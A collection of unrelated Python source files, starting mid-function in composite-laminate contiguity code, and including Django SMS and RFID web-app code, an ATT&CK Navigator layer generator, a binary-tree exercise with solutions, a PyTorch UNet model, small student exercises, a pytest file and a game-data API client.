                        mother_ss_top[ind_panel][-constraints.n_contig:],
                        np.array([child_ss[0]]),
                        np.array([child_ss[0]]),
                        np.flip(mother_ss_top[
                            ind_panel][-constraints.n_contig:], axis=0)))
                elif child_ss.size == 2 and pdl[ind_panel, level] >= 0 :
                    new_stack = np.hstack((
                        mother_ss_top[ind_panel][-constraints.n_contig:],
                        np.array([child_ss[1]]),
                        np.flip(mother_ss_top[
                            ind_panel][-constraints.n_contig:], axis=0)))
                else:
                    new_stack = np.hstack((
                        mother_ss_top[ind_panel][-constraints.n_contig:],
                        np.flip(mother_ss_top[
                            ind_panel][-constraints.n_contig:], axis=0)))
                vector = calc_contig_vector(new_stack, constraints.n_contig)
                n_viola_contig[ind_panel] += np.sum(vector)

        else:
            for ind_panel in range(n_panels):
                if pdl[ind_panel, level - 1] >= 0 \
                and  mother_ss_top[ind_panel].size > 0:
                    new_stack = np.hstack((
                        mother_ss_top[ind_panel][-constraints.n_contig:],
                        np.array([child_ss[0]])))
                    if not is_contig(new_stack, constraints.n_contig):
                        if constraints.sym:
                            n_viola_contig[ind_panel] += 2
                        else:
                            n_viola_contig[ind_panel] += 1

    else: ### bottom
        for ind_panel in range(n_panels):
            if pdl[ind_panel, level - 1] >= 0 \
            and mother_ss_bot[ind_panel].size > 0:
                new_stack = np.hstack((
                    np.array([child_ss[0]]),
                    mother_ss_bot[ind_panel][:constraints.n_contig]))
                vector = calc_contig_vector(new_stack, constraints.n_contig)
                if not is_contig(new_stack, constraints.n_contig):
                    n_viola_contig[ind_panel] += 1

    return n_viola_contig

def calc_contig_vector(ss, n_contig):
    """
    returns the vector of violations of the contiguity constraint for a
    stacking sequence
    """
    step = ss.size - n_contig
    if step > 0:
        result = np.zeros((step,), dtype='int16')
        for ind in range(step):
            if is_contig(ss[ind:ind + n_contig + 1], n_contig): # if violation
                pass
            else:
                result[ind] = 1
        return result
    return np.array(())

def calc_matrix_viol_contig(ss, n_contig):
    """
    returns the matrix of violations of the contiguity constraint by a multipanel
    structure

    - viola_contig[ind_panel, ind_ply] == 0 when the plies of indices
    {ind_ply, ind_ply + 1, ..., ind_ply + n_contig} does not violates the
    contiguity constraint

    - viola_contig[ind_panel, ind_ply] == 2 when the plies of indices
    {ind_ply, ind_ply + 1, ..., ind_ply + n_contig} violate the contiguity
    constraint and also the plies of indices
    {ind_ply - 1, ind_ply, ..., ind_ply + n_contig - 1}

    - viola_contig[ind_panel, ind_ply] == 1 when the plies of indices
    {ind_ply, ind_ply + 1, ..., ind_ply + n_contig} violate the contiguity
    constraint but not the plies of indices
    {ind_ply - 1, ind_ply, ..., ind_ply + n_contig - 1}

    INPUTS

    - ss: stacking sequences of each panel of the structure (list or arrays)
    - n_contig: maximum of adjacent plies that can have the same fibre orientaion
    """
    viola_contig = [[]]*len(ss)
    for ind_panel, ss_panel in enumerate(ss):
        viola_contig[ind_panel] = np.zeros((ss_panel.size,), dtype=bool)
        before = 0
        for ind_ply in range(ss_panel.size):
            if not is_contig(
                    ss_panel[ind_ply: ind_ply + n_contig + 1], n_contig):
                if before == 0:
                    viola_contig[ind_panel][ind_ply] += 1
                    before = 1
                else:
                    viola_contig[ind_panel][ind_ply] += 2
                    before = 1
            else:
                before = 0
    return viola_contig

def calc_penalty_contig_mp(ss, constraints):
    """
    returns the total number of violations of the contiguity constraint by a
    multipanel structure

    INPUTS

    - ss: stacking sequences of each panel of the structure (list or arrays)
    - constraints: set of constraints

    """
    if constraints.dam_tol:
        if hasattr(constraints, 'dam_tol_rule'):
            if constraints.dam_tol_rule in {2, 3}:
                ss = [el[1:-1] for el in ss]
        else:
            if constraints.n_plies_dam_tol == 2:
                ss = [el[1:-1] for el in ss]

    viola_contig = calc_matrix_viol_contig(ss, constraints.n_contig)
    return np.array([np.sum(el) for el in viola_contig]) # sum per panel

def calc_penalty_contig_ss(ss, constraints):
    """
    returns the total number of violations of the contiguity constraint in
    a stacking sequence

    INPUTS

    - ss: panel stacking sequence
    - constraints: set of constraints
    """
    if constraints.dam_tol:
        if hasattr(constraints, 'dam_tol_rule'):
            if constraints.dam_tol_rule in {2, 3}:
                ss = np.copy(ss)[1:-1]
        else:
            if constraints.n_plies_dam_tol == 2:
                ss = np.copy(ss)[1:-1]

    return np.sum(calc_matrix_viol_contig([ss], constraints.n_contig))

if __name__ == "__main__":
    print('*** Test for the function is_contig ***\n')
#    print('Inputs:\n')
#    ss = np.array([0, 45, 45, 45, 45, 90, -45])
#    n_contig = 3
#    print(f'ss = {ss}, n_contig = {n_contig}\n')
#    print('outputs:\n')
#    print(is_contig(ss, n_contig))

    print('*** Test for the function calc_contig_vector ***\n')
    print('Inputs:\n')
    ss = np.array([0, 45, 45, 45, 45, 90, 90, 90, 90, 90, -45])
    n_contig = 3
    print(f'ss = {ss}, n_contig = {n_contig}\n')
    print('outputs:\n')
    print(calc_contig_vector(ss, n_contig))

    print('*** Test for the function calc_matrix_viol_contig ***\n')
    print('Inputs:\n')
    ss = [np.array([0, 90, 90]), np.array([0, 0, 0, 0, 0, 0])]
    n_contig = 3
    print(f'ss: {ss}')
    print(f'n_contig: {n_contig}')
    print('outputs:\n')
    viola_contig = calc_matrix_viol_contig(ss, n_contig)
    print(f'viola_contig: {viola_contig}\n')

    print('*** Test for the function calc_penalty_contig_mp ***\n')
    print('Inputs:\n')
    constraints = Constraints(sym=True)
    constraints.dam_tol = True
    constraints.n_contig = 3
    ss = [np.array([0, 90, 90]), np.array([0, 0, 0, 0, 0, 0])]
    print(f'ss: {ss}')
    print('outputs:\n')
    viola_contig = calc_penalty_contig_mp(ss, constraints)
    print(f'Result: {viola_contig}\n')

    print('*** Test for the function calc_penalty_contig_ss ***\n')
    constraints = Constraints(sym=True)
    constraints.dam_tol = True
    constraints.n_contig = 3
    print('Inputs:\n')
    ss = np.array([0, 90, 90, 90, 90])
    print(f'ss: {ss}')
    print(f'n_contig: {constraints.n_contig}')
    print('outputs:\n')
    print(f'Result: {calc_penalty_contig_ss(ss, constraints)}\n')


# -*- coding: utf-8 -*-
from django import forms
from django.conf import settings

from djtwilio.core.models import Sender
from djtwilio.apps.sms.models import Bulk, Document, Status
from djtwilio.apps.sms.models import Bulk, Status

from djtools.fields.localflavor import USPhoneNumberField
from djzbar.utils.informix import do_sql

DEBUG = settings.INFORMIX_DEBUG

class StatusCallbackForm(forms.ModelForm):
    """
    POST:
    {
        'Body': [''],
        'MessageSid': [''],
        'FromZip': [''],
        'SmsStatus': [''],
        'SmsMessageSid': [''],
        'AccountSid': [''],
        'MessagingServiceSid': [''],
        'FromCity': [''],
        'ApiVersion': ['2010-04-01'],
        'To': [''],
        'From': [''],
        'NumMedia': [''],
        'ToZip': [''],
        'ToCountry': [''],
        'NumSegments': ['1'],
        'ToState': [''],
        'SmsSid': [''],
        'ToCity': [''],
        'FromState': [''],
        'FromCountry': [''],
        # these are for voice calls
        'CallSid': [''],
        'CallStatus': [''],
        'Direction': [''],
        'ForwardedFrom': [''],
        'CallerName': [''],
        'ParentCallSid': ['']
    }

    """

    class Meta:
        model = Status
        fields = '__all__'

class DocumentForm(forms.ModelForm):
    class Meta:
        model = Document
        fields = ['phile',]

class BulkForm(forms.ModelForm):

    #sender = forms.CharField()
    message = forms.CharField(
        label = "Message to Recipients",
        widget=forms.Textarea(attrs={'class': 'required form-control'}),
        help_text = '160 characters remaining'
    )

    class Meta:
        model = Bulk
        fields = ['name','description','distribution','sender',]

class IndiForm(forms.Form):

    phone_to = USPhoneNumberField(
        label = "To",
        max_length=12,
        widget=forms.TextInput(attrs={'class': 'required form-control'}),
    )
    student_number = forms.CharField(
        label = "Student ID",
        max_length=16,
        widget=forms.TextInput(attrs={'class': 'required form-control'}),
    )
    phone_from = forms.CharField()
    message = forms.CharField(
        label = "Message to Recipient",
        widget=forms.Textarea(attrs={'class': 'required form-control'}),
        help_text = '160 characters remaining'
    )

    def __init__(self, *args, **kwargs):
        self.request = kwargs.pop('request', None)
        user = self.request.user
        super(IndiForm, self).__init__(*args, **kwargs)

        if user.is_superuser:
            senders = Sender.objects.all().order_by('-alias')
        else:
            senders = user.sender.all().order_by('-alias')

        choices = [("","---Phone or Messaging Service---")]
        for s in senders:
            phone = s.phone
            if not phone:
                phone = ''
            choices.append((s.id, "{} {}".format(phone, s.alias)))

        self.fields['phone_from'] = forms.ChoiceField(
            label = "From", choices=choices,
            widget=forms.Select(attrs={'class': 'required form-control'})
        )


import argparse

from mitreattack.navlayers.generators.overview_generator import OverviewLayerGenerator
from mitreattack.navlayers.generators.usage_generator import UsageLayerGenerator

def main():
    parser = argparse.ArgumentParser(description='Generate an ATT&CK Navigator layer')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--overview-type', choices=['group', 'software', 'mitigation'],
                       help='Output a matrix where the target type is summarized across the entire dataset.')
    group.add_argument('--mapped-to', help='Output techniques mapped to the given group, software, or mitigation. '
                                           'Argument can be name, associated group/software, or ATT&CK ID.')
    parser.add_argument('-o', '--output', help='Path to the output layer file', default='generated_layer.json')
    parser.add_argument('--domain', help='Which domain to build off of', choices=['enterprise', 'mobile', 'ics'],
                        default='enterprise')
    parser.add_argument('--source', choices=['taxii', 'local'], default='taxii',
                        help='What source to utilize when building the matrix')
    parser.add_argument('--local', help='Path to the local resource if --source=local', default=None)
    args = parser.parse_args()

    if args.overview_type:
        og = OverviewLayerGenerator(source=args.source, domain=args.domain, local=args.local)
        generated = og.generate_layer(obj_type=args.overview_type)
        print('Generating Layer File')
        generated.to_file(args.output)
        print(f'Layer file generated as {args.output}.')
    elif args.mapped_to:
        ug = UsageLayerGenerator(source=args.source, domain=args.domain, local=args.local)
        generated = ug.generate_layer(match=args.mapped_to)
        print('Generating Layer File')
        generated.to_file(args.output)
        print(f'Layer file generated as {args.output}.')

if __name__ == '__main__':
    main()


from django.shortcuts import render, redirect
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from .forms import UserRegisterForm, UserUpdateForm
from django.http import HttpResponse
from django.conf import settings

import json
import paho.mqtt.client as mqtt

uid_val = None

####### MQTT ########
def on_connect(client, userdata, rc):
    print("Connected with code" + str(rc))

def on_disconnect(client, userdata,rc):
    print("Disconnected with code " + str(rc))
    client.loop_stop()

def on_message(client, userdata, msg):
    global uid_val

    print("Topic:", str(msg.topic))
    print("Message:", str(msg.payload.decode().lstrip().rstrip()))

    if str(msg.topic) == "/uid_from_rfid":
      split_msg = str(msg.payload.decode().lstrip().rstrip()).split()

      if split_msg[0] == "REGISTER":
        uid_val = split_msg[1]
        client.loop_stop()
######## END ########

def get_uid_value(request):
    global uid_val

    return HttpResponse(json.dumps({
        'uid_value' : uid_val
    }))

# Create your views here.
def pre_register(request):
    global uid_val
    global to_access

    uid_val = None

    client = mqtt.Client()
    client.on_connect = on_connect
    client.on_disconnect = on_disconnect
    client.on_message = on_message

    client.connect(settings.SERVER_IP, 1883, 60)
    client.subscribe("/uid_from_rfid")

    client.loop_start()
    return render(request, 'users/preregister.html', { 'startuid' : 'true'})

def register(request):
    global uid_val

    if request.method == 'POST':
        form = UserRegisterForm(request.POST)
        if form.is_valid():
            form.save()
            username = form.cleaned_data.get('username')
            messages.success(request, f'Your account has been created! You are now able to login')
            return redirect('login')

    else:
        form = UserRegisterForm(initial={'uid': uid_val})
    return render(request, 'users/register.html', { 'form': form })

@login_required
def profile(request):
    if request.method == 'POST':
        u_form = UserUpdateForm(request.POST, instance=request.user)

        if u_form.is_valid():
            u_form.save()
            messages.success(request, f'Your account has been updated!')
            return redirect('profile')
    else:
        u_form = UserUpdateForm(instance=request.user)

    context = {
        'u_form' : u_form
    }

    return render(request, 'users/profile.html', context)


class BinaryTree:
    """ A simple binary tree with left and right branches
    """

    def __init__(self, data):
        self._data = data
        self._left = None
        self._right = None

    def data(self):
        return self._data

    def left(self):
        return self._left

    def right(self):
        return self._right

    def __str__(self):
        """ Returns a pretty string of the tree """
        def str_branches(node, branches):
            """ Returns a string with the tree pretty printed.

                branches: a list of characters representing the parent branches. Characters can be either ` ` or '│'
            """
            strings = [str(node._data)]

            i = 0
            if node._left != None or node._right != None:
                for current in [node._left, node._right]:
                    if i == 0:
                        joint = '├'
                    else:
                        joint = '└'

                    strings.append('\n')
                    for b in branches:
                        strings.append(b)
                    strings.append(joint)
                    if i == 0:
                        branches.append('│')
                    else:
                        branches.append(' ')

                    if current != None:
                        strings.append(str_branches(current, branches))
                    branches.pop()
                    i += 1
            return "".join(strings)

        return str_branches(self, [])

    def insert_left(self, data):
        """ Takes as input DATA (*NOT* a node !!) and MODIFIES current node this way:

            - First creates a new BinaryTree (let's call it B) into which provided data is wrapped.
            - Then:
                - if there is no left node in self, new node B is attached to the left of self
                - if there already is a left node L, it is substituted by new node B, and L becomes the
                  left node of B
        """
        #jupman-raise
        B =  BinaryTree(data)
        if self._left == None:
            self._left = B
        else:
            B._left = self._left
            self._left = B
        #/jupman-raise

    def insert_right(self, data):
        """ Takes as input DATA (*NOT* a node !!) and MODIFIES current node this way:

            - First creates a new BinaryTree (let's call it B) into which provided data is wrapped.
            - Then:
                - if there is no right node in self, new node B is attached to the right of self
                - if there already is a right node L, it is substituted by new node B, and L becomes the
                  right node of B
        """
        #jupman-raise
        B = BinaryTree(data)
        if self._right == None:
            self._right = B
        else:
            B._right = self._right
            self._right = B
        #/jupman-raise

    def sum_rec(self):
        """ Supposing the tree holds integer numbers in all nodes,
            RETURN the sum of the numbers.

            - implement it as a recursive Depth First Search (DFS) traversal
              NOTE: with big trees a recursive solution would surely
                    exceed the call stack, but here we don't mind
        """

        #jupman-raise
        ret = self._data
        if self.left() != None:
            ret += self.left().sum_rec()
        if self.right() != None:
            ret += self.right().sum_rec()
        return ret
        #/jupman-raise

    def height_rec(self):
        """ RETURN an integer which is the height of the tree

            - implement it as recursive call which does NOT modify the tree
              NOTE: with big trees a recursive solution would surely exceed the call stack,
                    but here we don't mind
            - A tree with only one node has height zero.

        """
        #jupman-raise
        if self.left() == None:
            h_left = 0
        else:
            h_left = self.left().height_rec() + 1

        if self.right() == None:
            h_right = 0
        else:
            h_right = self.right().height_rec() + 1

        return max(h_left, h_right)
        #/jupman-raise

    def depth_rec(self, level):
        """ MODIFIES the tree by putting in the data field the provided value level (which is an integer),
            and recursively calls itself on left and right nodes (if present)  passing level + 1

            - implement it as a recursive Depth First Search (DFS) traversal
              NOTE: with big trees a recursive solution would surely exceed the call stack,
                    but here we don't mind
            - The root of a tree has depth zero.
            - does not return anything
        """
        #jupman-raise
        self._data = level
        if self.left() != None:
            self.left().depth_rec(level + 1)
        if self.right() != None:
            self.right().depth_rec(level + 1)
        #/jupman-raise

    def contains_rec(self, item):
        """ RETURN True if at least one node in the tree has data equal to item, otherwise RETURN False.

            - implement it as a recursive Depth First Search (DFS) traversal
              NOTE: with big trees a recursive solution would surely exceed the call stack,
                    but here we don't mind
        """
        #jupman-raise
        if self._data == item:
            return True
        else:
            if self.left() != None and self.left().contains_rec(item):
                return True
            if self.right() != None and self.right().contains_rec(item):
                return True
        return False
        #/jupman-raise

    def join_rec(self):
        """ Supposing the tree nodes hold a character each, RETURN a STRING holding
            all characters with a IN-ORDER visit

            - implement it as a recursive Depth First Search (DFS) traversal
              NOTE: with big trees a recursive solution would surely
                    exceed the call stack, but here we don't mind
        """

        #jupman-raise
        ret = ''
        if self.left() != None:
            ret +=  self.left().join_rec()
        ret += self._data
        if self.right() != None:
            ret += self.right().join_rec()
        return ret
        #/jupman-raise

    def fun_rec(self):
        """ Supposing the tree nodes hold expressions which can either be
            functions or single variables, RETURN a STRING holding
            the complete formula with needed parenthesis

            - implement it as a recursive Depth First Search (DFS)
              PRE-ORDER visit
            - NOTE: with big trees a recursive solution would surely
                    exceed the call stack, but here we don't mind
        """

        #jupman-raise
        ret = self._data
        if self.left() != None:
            ret += '('
            ret +=  self.left().fun_rec()
            if self.right() != None:
                ret += ',' + self.right().fun_rec()
            ret += ')'
        return ret
        #/jupman-raise

    def bin_search_rec(self, m):
        """ Assuming the tree is a binary search tree of integer numbers,
            RETURN True if m is present in the tree, False otherwise

            - MUST EXECUTE IN O(height(t))
            - NOTE: with big trees a recursive solution would surely
                    exceed the call stack, but here we don't mind
        """
        #jupman-raise
        if m == self.data():
            return True
        elif m < self.data():
            return self.left() != None and self.left().bin_search_rec(m)
        else:
            return self.right() != None and self.right().bin_search_rec(m)
        #/jupman-raise

    def bin_insert_rec(self, m):
        """ Assuming the tree is a binary search tree of integer numbers,
            MODIFIES the tree by inserting a new node with the value m
            in the appropriate position. Node is always added as a leaf.

            - MUST EXECUTE IN O(height(t))
            - NOTE: with big trees a recursive solution would surely
                    exceed the call stack, but here we don't mind
        """
        #jupman-raise
        if m < self._data:
            if self.left() == None:
                self.insert_left(m)
            else:
                self._left.bin_insert_rec(m)
        else:
            if self.right() == None:
                self.insert_right(m)
            else:
                self.right().bin_insert_rec(m)
        #/jupman-raise

    def univalued_rec(self):
        """ RETURN True if the tree is univalued, otherwise RETURN False.

            - a tree is univalued when all nodes have the same value as data
            - MUST execute in O(n) where n is the number of nodes of the tree
            - NOTE: with big trees a recursive solution would surely
                    exceed the call stack, but here we don't mind
        """
        #jupman-raise
        if self.left() != None:
            if self.left().data() != self.data() or not self.left().univalued_rec():
                return False
        if self.right() != None:
            if self.right().data() != self.data() or not self.right().univalued_rec():
                return False

        return True
        #/jupman-raise

    def same_rec(self, other):
        """ RETURN True if this binary tree is equal to other binary tree,
            otherwise return False.

            - MUST execute in O(n) where n is the number of nodes of the tree
            - NOTE: with big trees a recursive solution would surely
                    exceed the call stack, but here we don't mind
            - HINT: defining a helper function

                    def helper(t1, t2):

                    which recursively calls itself and assumes both of the
                    inputs can be None may reduce the number of ifs to write.
        """
        #jupman-raise
        def helper(t1, t2):
            if (t1 == None) != (t2 == None):  # XOR
                return False
            if t1 == None and t2 == None:
                return True
            if t1.data() != t2.data():
                return False
            return helper(t1.left(), t2.left()) and helper(t1.right(), t2.right())

        return helper(self, other)
        #/jupman-raise

    def sum_stack(self):
        """ Supposing the tree holds integer numbers in all nodes,
            RETURN the sum of the numbers.

            - DO *NOT* use recursion
            - implement it with a while and a stack (as a python list)
            - In the stack place nodes to process
        """

        #jupman-raise
        ret = 0
        stack = [self]
        while len(stack) > 0:
            node = stack.pop()
            ret += node.data()
            if node.left() != None:
                stack.append(node.left())
            if node.right() != None:
                stack.append(node.right())
        return ret

        #/jupman-raise

    def height_stack(self):
        """ RETURN an integer which is the height of the tree

            - A tree with only one node has height zero.
            - DO *NOT* use recursion
            - implement it with a while and a stack (as a python list).
            - In the stack place *tuples* holding a node *and* its level

        """

        #jupman-raise
        ret = 0
        stack = [(self, 0)]
        while len(stack) > 0:
            node,level = stack.pop()
            ret = max(level, ret)
            if node.left() != None:
                stack.append( (node.left(), level + 1) )
            if node.right() != None:
                stack.append((node.right(), level + 1) )
        return ret

        #/jupman-raise


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import torch
import torch.nn as nn

from tractseg.libs.pytorch_utils import conv2d
from tractseg.libs.pytorch_utils import deconv2d

class UNet_Pytorch_DeepSup_TEST(torch.nn.Module):
    def __init__(self, n_input_channels=3, n_classes=7, n_filt=64, batchnorm=False, dropout=False, upsample="bilinear"):
        super(UNet_Pytorch_DeepSup_TEST, self).__init__()
        self.in_channel = n_input_channels
        self.n_classes = n_classes
        self.use_dropout = dropout

        self.contr_1_1 = conv2d(n_input_channels, n_filt)
        self.contr_1_2 = conv2d(n_filt, n_filt)
        self.pool_1 = nn.MaxPool2d((2, 2))

        self.contr_2_1 = conv2d(n_filt, n_filt * 2)
        self.contr_2_2 = conv2d(n_filt * 2, n_filt * 2)
        self.pool_2 = nn.MaxPool2d((2, 2))

        self.contr_3_1 = conv2d(n_filt * 2, n_filt * 4)
        self.contr_3_2 = conv2d(n_filt * 4, n_filt * 4)
        self.pool_3 = nn.MaxPool2d((2, 2))

        self.contr_4_1 = conv2d(n_filt * 4, n_filt * 8)
        self.contr_4_2 = conv2d(n_filt * 8, n_filt * 8)
        self.pool_4 = nn.MaxPool2d((2, 2))

        self.dropout = nn.Dropout(p=0.4)

        self.encode_1 = conv2d(n_filt * 8, n_filt * 16)
        self.encode_2 = conv2d(n_filt * 16, n_filt * 16)
        self.deconv_1 = deconv2d(n_filt * 16, n_filt * 16, kernel_size=2, stride=2)
        # self.deconv_1 = nn.Upsample(scale_factor=2)  # does only upscale width and height; Similar results to deconv2d

        self.expand_1_1 = conv2d(n_filt * 8 + n_filt * 16, n_filt * 8)
        self.expand_1_2 = conv2d(n_filt * 8, n_filt * 8)
        self.deconv_2 = deconv2d(n_filt * 8, n_filt * 8, kernel_size=2, stride=2)
        # self.deconv_2 = nn.Upsample(scale_factor=2)

        self.expand_2_1 = conv2d(n_filt * 4 + n_filt * 8, n_filt * 4, stride=1)
        self.expand_2_2 = conv2d(n_filt * 4, n_filt * 4, stride=1)
        self.deconv_3 = deconv2d(n_filt * 4, n_filt * 4, kernel_size=2, stride=2)
        # self.deconv_3 = nn.Upsample(scale_factor=2)

        # Deep Supervision
        self.output_2 = nn.Conv2d(n_filt * 4 + n_filt * 8, n_classes, kernel_size=1, stride=1, padding=0, bias=True)
        # 'nearest' a bit faster but results a little worse (~0.4 dice points worse)
        self.output_2_up = nn.Upsample(scale_factor=2, mode=upsample)

        self.expand_3_1 = conv2d(n_filt * 2 + n_filt * 4, n_filt * 2, stride=1)
        self.expand_3_2 = conv2d(n_filt * 2, n_filt * 2, stride=1)
        self.deconv_4 = deconv2d(n_filt * 2, n_filt * 2, kernel_size=2, stride=2)
        # self.deconv_4 = nn.Upsample(scale_factor=2)

        # Deep Supervision
        self.output_3 = nn.Conv2d(n_filt * 2 + n_filt * 4, n_classes, kernel_size=1, stride=1, padding=0, bias=True)
        self.output_3_up = nn.Upsample(scale_factor=2, mode=upsample)  # does only upscale width and height

        self.expand_4_1 = conv2d(n_filt + n_filt * 2, n_filt*2, stride=1)
        self.expand_4_2 = conv2d(n_filt*2, n_filt*2, stride=1)

        # no activation function, because is in LossFunction (...WithLogits)
        self.conv_5 = nn.Conv2d(n_filt*2, n_classes, kernel_size=1, stride=1, padding=0, bias=True)

    def forward(self, inpt):
        contr_1_1 = self.contr_1_1(inpt)
        contr_1_2 = self.contr_1_2(contr_1_1)
        pool_1 = self.pool_1(contr_1_2)

        contr_2_1 = self.contr_2_1(pool_1)
        contr_2_2 = self.contr_2_2(contr_2_1)
        pool_2 = self.pool_2(contr_2_2)

        contr_3_1 = self.contr_3_1(pool_2)
        contr_3_2 = self.contr_3_2(contr_3_1)
        pool_3 = self.pool_3(contr_3_2)

        contr_4_1 = self.contr_4_1(pool_3)
        contr_4_2 = self.contr_4_2(contr_4_1)
        pool_4 = self.pool_4(contr_4_2)

        if self.use_dropout:
            pool_4 = self.dropout(pool_4)

        encode_1 = self.encode_1(pool_4)
        encode_2 = self.encode_2(encode_1)
        deconv_1 = self.deconv_1(encode_2)

        concat1 = torch.cat([deconv_1, contr_4_2], 1)
        expand_1_1 = self.expand_1_1(concat1)
        expand_1_2 = self.expand_1_2(expand_1_1)
        deconv_2 = self.deconv_2(expand_1_2)

        concat2 = torch.cat([deconv_2, contr_3_2], 1)
        expand_2_1 = self.expand_2_1(concat2)
        expand_2_2 = self.expand_2_2(expand_2_1)
        deconv_3 = self.deconv_3(expand_2_2)

        # Deep Supervision
        output_2 = self.output_2(concat2)
        output_2_up = self.output_2_up(output_2)

        concat3 = torch.cat([deconv_3, contr_2_2], 1)
        expand_3_1 = self.expand_3_1(concat3)
        expand_3_2 = self.expand_3_2(expand_3_1)
        deconv_4 = self.deconv_4(expand_3_2)

        # Deep Supervision
        output_3 = output_2_up + self.output_3(concat3)
        output_3_up = self.output_3_up(output_3)

        concat4 = torch.cat([deconv_4, contr_1_2], 1)
        expand_4_1 = self.expand_4_1(concat4)
        expand_4_2 = self.expand_4_2(expand_4_1)

        conv_5 = self.conv_5(expand_4_2)

        final = output_3_up + conv_5

        return final


# vjezba 10_zadatak 4
# Jure Glavan, 19.siječnja 2018.

# Napišite program vjezba10_zd04.py koji iz datoteke ulaz4.txt čita izraze oblika:
# broj operacija broj
# (može biti više takvih operacija u ulaznoj datoteci, ali svaka mora biti u zasebnoj liniji), te
# izračunava vrijednost zadane operacije (koja može biti '+', '-', '*' ili '/') sa zadanim brojevima i
# rezultat zapisuje u izlaznu datoteku izlaz4.txt (svaki rezultat u zasebnu liniju).
# Npr. za sljedeći sadržaj ulazne datoteke:
# 4 + 11
# 21 * 3
# program mora u izlaznu datoteku ispisati:
# 15
# 63

fin = open("ulaz4.txt", "r")
list1 = fin.readlines()
fin.close()
fout = open("izlaz4.txt", "w")

for i in list1:
    list2 = list(i.split())

    if list2[1] == "+":
        temp = int(list2[0])+int(list2[2])
    if list2[1] == "-":
        temp = int(list2[0])-int(list2[2])
    if list2[1] == "*":
        temp = int(list2[0])*int(list2[2])
    if list2[1] == "/":
        temp = int(list2[0])/int(list2[2])
    fout.write(str(temp)+"\n")


# Use 'for' to pass every elemets in the list.

def greet_users(names):

    for name in names:
        msg = "Hello, " + name.title() + "!"
        print(msg)

users = ['john', 'ronan', 'boddy']
greet_users(users)


import pytest
import datefinder
from datetime import datetime
import sys
import logging

logging.basicConfig(level=logging.DEBUG, stream=sys.stdout)
logger = logging.getLogger(__name__)

today = datetime.today()

@pytest.mark.parametrize(
    ("input_text", "expected_date", "first"),
    [
        ("Tuesday Jul 22, 2014", datetime(2014, 7, 22), "day"),
        ("At December 31, 2017", datetime(2017, 12, 31), "day"),
        ("Mär 13 2000", datetime(2000, 3, 13), "day"),
        ("jan. 1, 2018 1", datetime(2018, 1, 1), "day"),
        ("Jan. 1", datetime(2021, 1, 1), "day"),

        ("2.81", None, "day"),
        ("12.81", None, "day"),
        ("123.81", None, "day"),
        ("2,81", None, "day"),
        ("12,81", None, "day"),
        ("123,81", None, "day"),
        ("12,383", None, "day"),

        ("80,108", None, "day"),
        ("(12)", None, "day"),
    ]

)
def test_dnl_date_strings(input_text, expected_date, first):
    for return_date in datefinder.find_dates(input_text, first=first, strict=True):
        assert return_date == expected_date


import requests as r
import json
import os
import glob

try:
 f=open('key')
 key=f.read()
 f.close()
except:
 key=None
 print("No key file found, assuming no key set")

def setkey(inp):
 global key
 key=inp
 with open('key','w') as f:
  f.write(inp)
 return True

def cache(thing, tcache=None, key=None):
 if tcache is None:
  tcache=thing
 try:
  with open('{0}.cache'.format(tcache)) as a:
   b=json.load(a)
 except FileNotFoundError:
  with open('{0}.cache'.format(tcache),'w') as a:
   b=get(thing, key)
   a.write(json.dumps(b))
 return b

def resetcache():
 for file in glob.glob('*.cache'):
  os.remove(file)
 return True

def get(thing,key=None):
 loc='https://mwo.smurfy-net.de/api/data/%s.json'
 head={}
 if key is not None:
  head['Authorization']='APIKEY %s'%key
 with r.get(loc%thing,headers=head) as a:
  b=a.json()
 return b

def getprices():
 return get('prices')

def getmechs():
 return cache('mechs')

def getmech(id):
 if type(id)==type('a'):
  mechs=cache('mechs')
  return (mech for _,mech in mechs.items() if mech['name']==id).__next__()
 else:
  return mechc()[str(id)]

def getmodules():
 return cache('modules')

def getweapons():
 return cache('weapons')

def getammo():
 return cache('ammo')

def getpods():
 return cache('omnipods')

def getloadout(mechid,loadoutid):
 return get('mechs/{0}/loadouts/{1}'.format(mechid,loadoutid))

def getuser():
 return get('user/details',key)

def getbay():
 return cache('user/mechbay',tcache='mechbay',key=key)

def renamemech(mech):
 loc='https://mwo.smurfy-net.de/api/data/user/mechbay.json'
 head={'Authorization':'APIKEY %s'%key}
 out=bytes(json.dumps(mech),'utf-8')
 d=r.put(loc, data=out, headers=head)
 return d.status_code==200

def addtobay(mechs):
 req=preplink(mechs)
 d=r.request('LINK',req[0],headers=req[1])
 return d.headers['links']

def removefrombay(mechs):
 req=preplink(mechs)
 d=r.request('UNLINK',req[0],headers=req[1])
 return d.headers['links']

def modifybay(mechs):
 reqin=preplink(mechs['add'])
 reqout=preplink(mechs['rem'])
 d1=r.request('LINK',reqin[0],headers=reqin[1])
 d2=r.request('UNLINK',reqout[0],headers=reqout[1])
 return d1.headers['links'].extend(d2.headers['links'])

def preplink(mechs):
 loc='https://mwo.smurfy-net.de/api/data/user/mechbay.json'
 loc2='</api/data/mechs/{0}/loadouts/{1}>'
 links=','.join([loc2.format(mech['mechid'],mech['id']) for mech in mechs])
 head={'Authorization':'APIKEY %s'%key,'Link':links}
 return (loc,head)

def sendmech(mech):
 out=bytes(json.dumps(mech),'utf-8')
 loc='https://mwo.smurfy-net.de/api/data/mechs/%s/loadouts.json'
 head={'content-type':'application/json'}
 pre='loadouts/'
 post='.json'
 with r.post(loc%mech['mech_id'], data=out, headers=head) as a:
  give=a.text
  give=give[give.find(pre)+len(pre):give.find(post)]
  return give


import math

def process_input(input_file_name, output_file_name, options):
	input_file = open(input_file_name, 'r')
	output_file = open(output_file_name, 'w')
	output_file.write('%s\t%s' % (options["x-n"], options["y-n"]))
	output_file.write('\t%s\t%s\n' % (options["x-n"] + '-er', options["y-n"] + '-er'))
	for line in input_file:
		data = line.split()
		data = map(lambda x: float(x), data)
		x, y = data[0], data[1]
		output_file.write('%f\t%f' % (options["x-f"](x, y), options["y-f"](x, y)))
		output_file.write('\t%f\t%f\n' % (options["x-e"](x, y), options["y-e"](x, y)))
	input_file.close()
	output_file.close()

def reverse_data(file_name):
	file = open(file_name, 'r')
	data = []
	for line in file:
		data.append(line.split())
	file.close()

	file = open(file_name, 'w')
	for line in data:
		file.write('%s %s\n' % (line[1], line[0]))
	file.close()

#options = {'x-n' : 'V', 'y-n' : 'I', 'x-f' : (lambda x, y: x * 2), 'y-f' : (lambda x, y: y), 'x-e' : 2, 'y-e' : 1}
